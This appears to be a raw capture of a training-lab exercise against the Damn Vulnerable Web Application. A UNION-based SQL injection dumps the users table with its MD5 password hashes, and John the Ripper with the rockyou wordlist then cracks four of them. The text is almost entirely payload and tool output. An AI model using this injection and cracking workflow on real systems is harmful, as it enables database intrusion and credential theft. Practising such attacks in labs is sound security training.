

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: admin

Surname: admin

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: 1

Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: 1

Surname: 2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: 1

Surname: 3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: 1

Surname: 4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT 1, CONCAT(user_id,':',first_name,':',last_name,':',user,':',password) FROM users#

First name: 1

Surname: 5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99

Open ▾



Password.txt

~/Desktop



● rockyou.txt

Password.txt



```
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
smithy:5f4dcc3b5aa765d61d8327deb882cf99
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
```

File Actions Edit View Help

wordlist=/usr/share/wordlists/rockyou.txt password.txt

Using default input encoding: UTF-8

No password hashes loaded (see FAQ)

password.txt: command not found

(kali@kali)~[~/Desktop]

\$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.txt

Using default input encoding: UTF-8

Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])

Warning: no OpenMP support for this hash type, consider --fork=2

fopen: /usr/share/wordlists/rockyou.txt: No such file or directory

(kali@kali)~[~/Desktop]

\$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.txt

Using default input encoding: UTF-8

Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])

Warning: no OpenMP support for this hash type, consider --fork=2

Press 'q' or Ctrl-C to abort, almost any other key for status

password (admin)

abc123 (Gordon)

letmein (Pablo)

charley (Hack)

4g 0:00:00:00 DONE (2024-01-10 04:44) 100.0g/s 76800p/s 76800c/s 115200C/s my3kids..dangerous

Warning: passwords printed above might not be all those cracked

Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably

Session completed.

(kali@kali)~[~/Desktop]

\$ Submit